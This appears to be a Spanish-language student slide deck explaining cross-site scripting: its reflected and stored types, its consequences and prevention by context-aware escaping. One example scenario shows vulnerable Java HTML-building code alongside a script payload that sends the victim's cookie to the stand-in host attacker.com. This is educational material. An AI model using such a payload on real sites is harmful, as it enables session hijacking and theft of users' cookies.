Secuencia de Comandos en Sitios Cruzados
XSS
INTEGRANTES
MICHELLE ZAPATA
GREISY LARGO
Cross site scripting
XSS, del inglés Cross-site scripting (Cruzar
código al sitio) es un tipo de
inseguridad informática o agujero de
seguridad basado en la explotación de
vulnerabilidades
del
sistema
de
validación
de
HTML
incrustado.
Su nombre original es "Cross Site
Scripting", y es abreviado como XSS para
no ser confundido con las siglas CSS,
(hojas de estilo en cascada). Las
vulnerabilidades de XSS originalmente
abarcaban
cualquier
ataque
que
permitiera ejecutar código de "scripting",
como VBScript o JavaScript, en el
contexto
de
otro
sitio
web
Las fallas XSS ocurren cada vez que una aplicación
toma datos no confiables y los envía al navegador
web sin una validación y codificación apropiada.
XSS permite a los atacantes ejecutar secuencia de
comandos en el navegador de la victima los cuales
pueden secuestrar las sesiones de usuario, destruir
sitios web, o dirigir al usuario hacia un sitio malicioso.
Los ataques XSS se pueden categorizar de la
siguiente forma:
Almacenados y
Reflejados
Los ataques XSS reflejados
Los ataques reflejados son aquellos donde el
código inyectado es reflejado fuera del
servidor, tal como en un mensaje de error,
el resultado de una búsqueda o cualquier
otra respuesta que incluya una parte de la
entrada enviada al servidor como parte de
una
solicitud.
Los ataques XSS
almacenados
Los ataques almacenados son aquellos en
los que el código inyectado reside
permanentemente en los servidores que lo
envían, ya sea en la base de datos, en un
mensaje de un foro, en un log de un
visitante, campo de comentario, etc. La
víctima descarga el script malicioso del
servidor cuando hace alguna solicitud de
contenido
Ejemplo escenario de
ataques
La aplicación utiliza datos no confiables en la construcción del
siguiente código HTML sin validar o escapar los datos:
(String) page += "<input name='creditcard' type='TEXT‘
value='" + request.getParameter("CC") + "'>";
El atacante modifica el parámetro ‘CC’ en el navegador:
'><script>document.location='http://www.attacker.com/cgibin/cookie.cgi?foo='+document.cookie</script>'.
CONSECUENCIAS
•
Hacen pública la información de las cookies del
usuario, permitiendo a los atacantes secuestrar la
sesión y tomar el control de la misma.
•
divulgación de los archivos del usuario, la
instalación de troyanos, la redirección del usuario a
alguna otra página y la modificación de la
presentación del contenido
CONSECUENCIAS
• Otros ataques se pueden presentar desde los
mismísimos servidores de aplicaciones o de web
subyacentes ya que éstos generan páginas muy
simples en caso de que ocurran algunos errores
como en el caso del error 404 (Page not found) o un
error 500 (Internal server error). Si estas páginas
reflejan información de la petición del usuario (tal
como la URL de la cual se quiso acceder), podría ser
vulnerable a un ataque XSS reflejado.
¿Como poder evitar esto?
Prevenir XSS requiere mantener los datos no confiables
separados del contenido activo del navegador.
• La opción preferida es escapar todos los datos no
confiables basados en el contexto HTML (cuerpo,
atributo, JavaScript, CSS, o URL) donde los mismos
serán ubicados. Los desarrolladores necesitan incluir
esta técnica en sus aplicaciones al menos que el
marco UI lo realice por ellos.
Descargar

Texto